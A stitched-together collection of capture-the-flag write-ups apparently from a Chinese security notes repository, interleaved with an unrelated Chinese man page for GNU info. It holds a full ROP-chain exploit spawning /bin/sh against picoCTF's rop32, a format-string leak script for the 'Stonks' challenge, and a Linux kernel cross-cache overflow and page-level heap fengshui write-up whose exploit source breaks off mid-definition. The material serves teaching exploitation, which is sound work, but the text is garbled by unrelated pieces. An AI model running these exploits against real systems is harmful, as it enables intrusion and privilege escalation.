Note that we had to supply a `--badbytes 0a` to `ROPGadget` in order to receive an exploit that doesn't contain a line feed (a.k.a. newline, `\n`, or `0xa` in ASCII). Otherwise, `gets()` will remove anything after it and the ROP chain will fail:
> The C library function char *gets(char *str) reads a line from stdin and stores it into the string pointed to by str. It stops when either the newline character is read or when the end-of-file is reached, whichever comes first.
```python
# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/rop32_2_8cd220e3284b3f110fe852cc6ec9e564/vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
import os
from struct import pack
if shell is not None:
shell.set_working_directory(os.path.dirname(remote_path))
def send_payload(proc, payload):
proc.sendlineafter("Can you ROP your way out of this one?", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm core.* > /dev/null")
proc = process(exe.path)
payload = cyclic(50, n = exe.bytes)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes )
log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes))
return offset
def get_rop(overflow_offset):
# execve generated by ROPgadget
# ROPgadget --binary ./vuln --ropchain --badbytes 0a
p = ''
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80
return fit({overflow_offset: p})
overflow_offset = get_overflow_offset()
io = start()
payload = get_rop(overflow_offset)
log.info("Sending payload: \n{}".format(hexdump(payload)))
send_payload(io, payload)
io.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/rop32# python exploit.py
[*] '/media/sf_CTFs/pico/rop32/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] dvdalt@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 4.15.0
ASLR: Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.uDn639usty'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/rop32_2_8cd220e3284b3f110fe852cc6ec9e564'
[+] Starting local process '/media/sf_CTFs/pico/rop32/vuln': pid 1244
[*] Process '/media/sf_CTFs/pico/rop32/vuln' stopped with exit code -11 (SIGSEGV) (pid 1244)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/rop32/core.1244'
Arch: i386-32-little
EIP: 0x61616168
ESP: 0xffdefe20
Exe: '/media/sf_CTFs/pico/rop32/vuln' (0x8048000)
Fault: 0x61616168
[*] Overflow offset: 28 (4-byte architecture)
[+] Starting remote process '/problems/rop32_2_8cd220e3284b3f110fe852cc6ec9e564/vuln' on 2019shell1.picoctf.com: pid 387
3851
[*] Sending payload:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 6b ee 06 08 │eaaa│faaa│gaaa│k···│
00000020 60 a0 0d 08 34 63 05 08 2f 62 69 6e 60 a0 0d 08 │`···│4c··│/bin│`···│
00000030 41 41 41 41 65 6e 05 08 6b ee 06 08 64 a0 0d 08 │AAAA│en··│k···│d···│
00000040 34 63 05 08 2f 2f 73 68 64 a0 0d 08 41 41 41 41 │4c··│//sh│d···│AAAA│
00000050 65 6e 05 08 6b ee 06 08 68 a0 0d 08 20 64 05 08 │en··│k···│h···│ d··│
00000060 65 6e 05 08 c9 81 04 08 60 a0 0d 08 92 ee 06 08 │en··│····│`···│····│
00000070 68 a0 0d 08 60 a0 0d 08 6b ee 06 08 68 a0 0d 08 │h···│`···│k···│h···│
00000080 20 64 05 08 fa c2 07 08 fa c2 07 08 fa c2 07 08 │ d··│····│····│····│
00000090 fa c2 07 08 fa c2 07 08 fa c2 07 08 fa c2 07 08 │····│····│····│····│
*
000000b0 63 95 04 08 │c···││
000000b4
[*] Switching to interactive mode
$ $ ls
flag.txt vuln vuln.c
$ $ cat flag.txt
picoCTF{rOp_t0_b1n_sH_44c05daa}$ $
[*] Interrupted
```
|
sec-knowleage
|
# Stonks
Category: Binary Exploitation, 20 points
## Description
> I decided to try something noone else has before.
>
> I made a bot to automatically trade stonks for me using AI and machine learning.
>
> I wouldn't believe you if you told me it's unsecure!
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int view_portfolio(Portfolio *p) {
if (!p) {
return 1;
}
printf("\nPortfolio as of ");
fflush(stdout);
system("date"); // TODO: implement this in C
fflush(stdout);
printf("\n\n");
Stonk *head = p->head;
if (!head) {
printf("You don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
Stonk *pick_symbol_with_AI(int shares) {
if (shares < 1) {
return NULL;
}
Stonk *stonk = malloc(sizeof(Stonk));
stonk->shares = shares;
int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
for (int i = 0; i <= MAX_SYM_LEN; i++) {
if (i < AI_symbol_len) {
stonk->symbol[i] = 'A' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = NULL;
return stonk;
}
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Portfolio *initialize_portfolio() {
Portfolio *p = malloc(sizeof(Portfolio));
p->money = (rand() % 2018) + 1;
p->head = NULL;
return p;
}
void free_portfolio(Portfolio *p) {
Stonk *current = p->head;
Stonk *next = NULL;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, NULL);
srand(time(NULL));
Portfolio *p = initialize_portfolio();
if (!p) {
printf("Memory failure\n");
exit(1);
}
int resp = 0;
printf("Welcome back to the trading app!\n\n");
printf("What would you like to do?\n");
printf("1) Buy some stonks!\n");
printf("2) View my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("Goodbye!\n");
exit(0);
}
```
## Solution
Let's connect to the attached service:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Stonks]
└─$ nc mercury.picoctf.net 16439
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
```
We can see from the source code that if we choose to buy stonks, we are able to enter a string which is used as the format string for `printf`.
```c
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
```
This is vulnerable to a [format string attack](https://en.wikipedia.org/wiki/Uncontrolled_format_string).
Let's print some variables from the stack using this vulnerability:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Stonks]
└─$ nc mercury.picoctf.net 16439
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
Buying stonks with token:
8abb3f0.804b000.80489c3.f7f90d80.ffffffff.1.8ab9160.f7f9e110.f7f90dc7.0.8aba180.2.8abb3d0.8abb3f0.6f636970.7b465443.
Portfolio as of Mon Apr 5 19:16:34 UTC 2021
2 shares of VVHA
1 shares of SCN
22 shares of IHMA
57 shares of RES
178 shares of KLMW
111 shares of MAG
400 shares of VGGF
416 shares of SYKP
Goodbye!
```
Variables from the stack were leaked as the token. After some leaking and decoding, we can find out that the flag starts at the 15th DWORD from our leak base.
We can automate the leak using the following script:
```python
from pwn import *
flag = b''
for i in range(15, 25):
with context.local(log_level = "error"):
r = remote("mercury.picoctf.net", 16439)
r.sendlineafter("What would you like to do?\n", "1")
r.sendlineafter("What is your API token?\n", f"%{i}$p")
r.recvuntilS("Buying stonks with token:\n")
out = r.recvline()
try:
res = p32(int(out.decode(), 16))
flag += res
except Exception:
pass
r.recvall()
print(flag)
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Stonks]
└─$ python3 exploit.py
b'picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}\x00\xd6\xff'
```
The flag: `picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}`
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.29.
.TH INFO "1" "2016年9月" "info 6.3" "用户命令"
.SH 名称
info \- 阅读 Info 文档
.SH "SYNOPSIS 总览"
.B info
[\fI选项\fR]... [\fI菜单\-项目\fR...]
.SH "描述"
阅读 info 格式的文档。
.SH "选项"
.TP
\fB\-a\fR, \fB\-\-all\fR
使用所有匹配的手册。
.TP
\fB\-\-apropos\fR=\fISTRING\fR
在所有手册的索引中查找 STRING。
.TP
\fB\-d\fR, \fB\-\-directory\fR=\fIDIR\fR
将 DIR 添加到 INFOPATH。
.TP
\fB\-\-dribble\fR=\fIFILENAME\fR
记录用户在查看 FILENAME 时的击键情况。
.TP
\fB\-f\fR, \fB\-\-file\fR=\fIFILENAME\fR
指定要阅读的 info 文件。
.TP
\fB\-h\fR, \fB\-\-help\fR
显示这份帮助,然后退出。
.TP
\fB\-\-index\-search\fR=\fISTRING\fR
转到索引项 STRING 指向的节点。
.TP
\fB\-n\fR, \fB\-\-node\fR=\fINODENAME\fR
指定第一个阅读的 info 文件中的节点。
.TP
\fB\-o\fR, \fB\-\-output\fR=\fIFILENAME\fR
将所选的节点输出到 FILENAME。
.TP
\fB\-R\fR, \fB\-\-raw\-escapes\fR
不要从 man 手册页中移除 ANSI 控制序列。
.TP
\fB\-\-restore\fR=\fIFILENAME\fR
从 FILENAME 中读取初始的击键。
.TP
\fB\-O\fR, \fB\-\-show\-options\fR, \fB\-\-usage\fR
转到命令行选项节点。
.TP
\fB\-\-subnodes\fR
递归地输出菜单项目。
.TP
\fB\-\-vi\-keys\fR
使用 vi 和 less 中的按键关联。
.TP
\fB\-\-version\fR
显示版本信息,然后退出。
.PP
如果存在并非选项的参数,那么其中的第一个将成为目录项的起始点;它被从
INFOPATH 的所有 \(lq目录文件\(rq 中搜索。如果它不存在,info 将合并所有的
\(lq目录文件\(rq,并且显示结果。任何剩余的参数都被视为相对于阅读的初始节
点的目录项的名称。
.SH "EXAMPLES 范例"
.TP
info
显示顶层目录菜单
.TP
info emacs
从 emacs 节点的顶层菜单开始
.TP
info emacs buffers
从 emacs 手册中的 buffers 节点开始
.TP
info \fB\-\-show\-options\fR emacs
从 emacs 的 \(lq命令行选项\(rq 节点开始
.TP
info \fB\-f\fR ./foo.info
显示文件 ./foo.info,不搜索目录
.SH "REPORTING BUGS 报告错误"
将错误报告发送到 bug\-texinfo@gnu.org,一般的问题和讨论则发送到 help\-texinfo@gnu.org。
Texinfo 主页:http://www.gnu.org/software/texinfo/
.SH COPYRIGHT
Copyright \(co 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
.br
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
.SH "参见"
.B info
的完整文档由
.B texinfo-doc-nonfree
软件包以 Texinfo 手册的形式提供。如果该软件包在您的系统上已经安装,
使用如下的命令:
.IP
.B info info
.PP
应该能够让您阅读完整手册。
(或者,如果您有 Emacs,M-x info 可以打开该手册。)
|
sec-knowleage
|
# Cross-Cache Overflow & Page-level Heap Fengshui
> 注:这是两种联合起来的利用手法。
## Cross-Cache Overflow
与我们此前一直关注于 slub allocator 的各种利用手法不同,**Cross-Cache Overflow** 实际上是**针对 buddy system** 的利用手法,其主要基于如下思路:
- slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者。
- 内存中用作不同 `kmem_cache` 的页面在内存上是有可能相邻的。
- 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A、B两页面相邻,则我们便有可能实现跨越不同 `kmem_cache` 之间的堆溢出。
**Cross-Cache Overflow 打破了不同 kmem\_cache 之间的阻碍,可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写。**
但这需要达成非常严苛的页级堆排布,而内核的堆页面布局对我们而言通常是未知的,因此我们需要想办法将其变为已知的内存布局,这就需要**页级堆风水**——
## Page-level Heap Fengshui
顾名思义,**页级堆风水**即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们**手工构造一个新的已知的页级粒度内存页排布**。
首先让我们重新审视 slub allocator 向 buddy system 请求页面的过程,当 freelist page 已经耗空且 partial 链表也为空时(或者 `kmem_cache` 刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:
接下来让我们重新审视 buddy system ,其基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:
我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页**是物理连续的**,由此我们可以:
- 向 buddy system 请求两份连续的内存页。
- 释放其中一份内存页,在 `vulnerable kmem_cache` 上堆喷,让其取走这份内存页。
- 释放另一份内存页,在 `victim kmem_cache` 上堆喷,让其取走这份内存页。
**此时我们便有可能溢出到其他的内核结构体上,从而完成 cross-cache overflow**
### 使用 setsockopt 与 pgv 完成页级内存占位与堆风水
那么我们该如何完成这样的页占位与页排布呢?笔者这里给出一个来自于 [CVE-2017-7308](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) 的方案:
当我们创建一个 protocol 为 `PF_PACKET` 的 socket 之后,先调用 `setsockopt()` 将 `PACKET_VERSION` 设为 `TPACKET_V1 `/ `TPACKET_V2`,再调用 `setsockopt()` 提交一个 `PACKET_TX_RING` ,此时便存在如下调用链:
```c
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
```
在 `alloc_pg_vec()` 中会创建一个 `pgv` 结构体,用以分配 `tp_block_nr` 份 2<sup>order</sup> 张内存页,其中 `order` 由 `tp_block_size` 决定:
```c
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}
out:
return pg_vec;
out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
```
在 `alloc_one_pg_vec_page()` 中会直接调用 `__get_free_pages()` 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:
```c
static char *alloc_one_pg_vec_page(unsigned long order)
{
char *buffer;
gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;
buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
//...
}
```
相应地, `pgv` 中的页面也会在 socket 被关闭后释放:
```c
packet_release()
packet_set_ring()
free_pg_vec()
```
`setsockopt()` 也可以帮助我们完成**页级堆风水**,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 `setsockopt()` 便**相当于获取到了一块近乎物理连续的内存**(为什么是“近乎连续”是因为大量的 `setsockopt()` 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)。
## 例题:corCTF2022 - cache-of-castaways
> [官方 writeup 见此处](https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html)
### 题目分析
题目文件连 `kconfig` 都给了,笔者表示非常感动:
```shell
$ tree .
.
├── bzImage
├── initramfs.cpio.gz
├── kconfig
└── run
0 directories, 4 files
```
启动脚本看都不用看就知道开了 SMEP、SMAP、KPTI(基本上已经是内核题标配了):
```bash
#!/bin/sh
exec qemu-system-x86_64 \
-m 4096M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-netdev user,id=net \
-device e1000,netdev=net \
-no-reboot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap \
-initrd initramfs.cpio.gz \
```
在启动脚本里加载了一个名为 `cache_of_castaway.ko` 的 LKM,按惯例丢进 IDA,在模块初始化时注册了设备并创建了一个 `kmem_cache`,分配的 object 的 size 为 `512`,创建 flag 为 `SLAB_ACCOUNT | SLAB_PANIC`,同时开启了 `CONFIG_MEMCG_KMEM=y`,这意味着这是一个**独立的 kmem\_cache**:
```c
__int64 init_module()
{
__int64 result; // rax
castaway_dev = 255;
qword_8A8 = (__int64)"castaway";
qword_8B0 = (__int64)&castaway_fops;
_mutex_init(&castaway_lock, "&castaway_lock", &_key_28999);
if ( !(unsigned int)misc_register(&castaway_dev)
&& (castaway_arr = kmem_cache_alloc(kmalloc_caches[12], 3520LL)) != 0
&& (castaway_cachep = kmem_cache_create("castaway_cache", 0x200LL, 1LL, 0x4040000LL, 0LL)) != 0 )
{
result = init_castaway_driver_cold();
}
else
{
result = 0xFFFFFFFFLL;
}
return result;
}
```
设备只定义了一个 ioctl,其中包含分配与编辑堆块的功能且都有锁,最多可以分配 400 个 object,没有释放功能:
```c
__int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // r12
_QWORD *v5; // rbx
unsigned __int64 v6[6]; // [rsp+0h] [rbp-30h] BYREF
v6[3] = __readgsqword(0x28u);
if ( a2 != 0xCAFEBABE )
{
if ( copy_from_user(v6, a3, 24LL) )
return -1LL;
mutex_lock(&castaway_lock);
if ( a2 == 0xF00DBABE )
v3 = castaway_edit(v6[0], v6[1], v6[2]);
else
v3 = -1LL;
LABEL_5:
mutex_unlock(&castaway_lock);
return v3;
}
mutex_lock(&castaway_lock);
v3 = castaway_ctr;
if ( castaway_ctr <= 399 )
{
++castaway_ctr;
v5 = (_QWORD *)(castaway_arr + 8 * v3);
*v5 = kmem_cache_alloc(castaway_cachep, 0x400DC0LL);
if ( *(_QWORD *)(castaway_arr + 8 * v3) )
goto LABEL_5;
}
return ((__int64 (*)(void))castaway_ioctl_cold)();
}
```
漏洞便存在于编辑堆块的 `castaway_edit()` 当中,在拷贝数据时会故意从 `object + 6` 的地方开始拷贝,从而存在一个 6 字节的溢出,这里因为是先拷贝到内核栈上再进行内核空间中的拷贝所以不会触发 `hardened usercopy` 的检查:
```c
__int64 __fastcall castaway_edit(unsigned __int64 a1, size_t a2, __int64 a3)
{
char src[512]; // [rsp+0h] [rbp-220h] BYREF
unsigned __int64 v6; // [rsp+200h] [rbp-20h]
v6 = __readgsqword(0x28u);
if ( a1 > 0x18F )
return castaway_edit_cold();
if ( !*(_QWORD *)(castaway_arr + 8 * a1) )
return castaway_edit_cold();
if ( a2 > 0x200 )
return castaway_edit_cold();
_check_object_size(src, a2, 0LL);
if ( copy_from_user(src, a3, a2) )
return castaway_edit_cold();
memcpy((void *)(*(_QWORD *)(castaway_arr + 8 * a1) + 6LL), src, a2);
return a2;
}
```
编辑堆块时我们应当向内核中传入如下结构:
```c
struct request {
int64_t index;
size_t size;
void *buf;
};
```
### 漏洞利用
#### Step.I - cross-cache overflow
由于我们的漏洞对象位于独立的 `kmem_cache` 中,因此其不会与内核中的其他常用结构体的分配混用,我们无法直接通过 slub 层的堆喷 + 堆风水来溢出到其他结构体来进行下一步利用;同时由于 slub 并不会像 glibc 的ptmalloc2 那样在每个 object 开头都有个存储数据的 header,而是将 next 指针放在一个随机的位置,我们很难直接溢出到下一个 object 的 next 域,由于 hardened freelist 的存在就算我们能溢出到下一个相邻 object 的 next 域也没法构造出一个合法的指针;而在我们的 slub 页面相邻的页面上的数据对我们来说也是未知的,直接溢出的话我们并不知道能够溢出到什么页面上 :(
那么我们真的就没有任何办法了吗?答案自然是否定的,让我们把目光重新放到 slub allocator 上,当 freelist page 已经耗空且 partial 链表也为空时(或者 `kmem_cache` 刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:
buddy system 的基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:
我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页**是物理连续的**,若其中的一份被我们的 `kmem_cache` 取走,而另一份被用于分配其他内核结构体的 `kmem_cache` 取走,**则我们便有可能溢出到其他的内核结构体上**——这便是 **`cross-cache overflow`**。
具体的溢出对象也并不难想——6个字节刚好足够我们溢出到 `cred` 结构体的 `uid` 字段,完成提权,那么如何溢出到我们想要提权的进程的 cred 结构体呢?我们只需要先 fork() 堆喷 cred 耗尽 `cred_jar ` 中 object,让其向 buddy system 请求新的页面即可,我们还需要先堆喷消耗 buddy system 中原有的页面,之后我们再分配 cred 和题目 object,两者便有较大概率相邻。
`cred` 的大小为 `192`,`cred_jar` 向 buddy system 单次请求的页面数量为 1,足够分配 21 个 cred,因此我们不需要堆喷太多 `cred` 便能耗尽 `cred_jar`,不过 `fork()` 在执行过程中会产生很多的”噪声“(即额外分配一些我们不需要的结构体,从而影响页布局),因此这里我们改用 `clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)`。
> 关于”噪声“问题参见 [bsauce 师傅的博客](https://bsauce.github.io/2022/11/07/castaways/#2-3-fork%E5%99%AA%E5%A3%B0%E9%97%AE%E9%A2%98),笔者暂未深入阅读过 `fork()` 相关源码。
由于 slub pages 并不会在释放后立刻被返还给 buddy system,因此我们最好寻找一些会**直接调用向 buddy system 请求页面的 API 的结构**,这里笔者选择参照官方 writeup 中参照 D3v17 在 [CVE-2017-7308](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) 中使用 `setsockopt()` 进行页喷射的方法:当我们创建一个 protocol 为 `PF_PACKET` 的 socket 之后,先调用 `setsockopt()` 将 `PACKET_VERSION` 设为 `TPACKET_V1 `/ `TPACKET_V2`,再调用 `setsockopt()` 提交一个 `PACKET_TX_RING` ,此时便存在如下调用链:
```c
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
```
在 `alloc_pg_vec()` 中会创建一个 `pgv` 结构体,用以分配 `tp_block_nr` 份 2<sup>order</sup> 张内存页,其中 `order` 由 `tp_block_size` 决定:
```c
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}
out:
return pg_vec;
out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
```
在 `alloc_one_pg_vec_page()` 中会直接调用 `__get_free_pages()` 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:
```c
static char *alloc_one_pg_vec_page(unsigned long order)
{
char *buffer;
gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;
buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
//...
}
```
`pgv` 中的页面会在 socket 被关闭后释放,这也方便我们后续的页级堆风水,不过需要注意的是低权限用户无法使用该函数,但是我们可以通过开辟新的命名空间来绕过该限制。
这里需要注意的是**我们提权的进程不应当和页喷射的进程在同一命名空间内**,因为后者需要开辟新的命名空间,而我们应当在原本的命名空间完成提权,因此这里笔者选择新开一个进程进行页喷射,并使用管道在主进程与喷射进程间通信。
#### Step.II - page-level heap fengshui
`setsockopt()` 也可以帮助我们完成**页级堆风水**,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 `setsockopt()` 便**相当于获取到了一块近乎物理连续的内存**(为什么是”近乎连续“是因为大量的 `setsockopt()` 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)。
本题环境中题目的 `kmem_cache` 单次会向 buddy system 请求一张内存页,而由于 buddy system 遵循 LIFO,因此我们可以:
- 先分配大量的单张内存页,耗尽 buddy 中的 low-order pages。
- 间隔一张内存页释放掉部分单张内存页,之后堆喷 cred,这样便有几率获取到我们释放的单张内存页。
- 释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页。
- 利用模块中漏洞进行越界写,篡改 `cred->uid` ,完成提权。
我们的子进程需要轮询等待自己的 uid 变为 root,但是这种做法并不优雅:) ,所以笔者这里选择用一个新的管道在主进程与子进程间通信,当子进程从管道中读出1字节时便开始检查自己是否成功提权,若未提权则直接 sleep 即可。
### EXPLOIT
最后的 exp 如下:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sched.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#define PGV_PAGE_NUM 1000
#define PGV_CRED_START (PGV_PAGE_NUM / 2)
#define CRED_SPRAY_NUM 514
#define PACKET_VERSION 10
#define PACKET_TX_RING 13
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512
#define VUL_OBJ_PER_SLUB 8
#define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB)
struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};
enum tpacket_versions {
TPACKET_V1,
TPACKET_V2,
TPACKET_V3,
};
struct castaway_request {
int64_t index;
size_t size;
void *buf;
};
struct page_request {
int idx;
int cmd;
};
enum {
CMD_ALLOC_PAGE,
CMD_FREE_PAGE,
CMD_EXIT,
};
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
int dev_fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
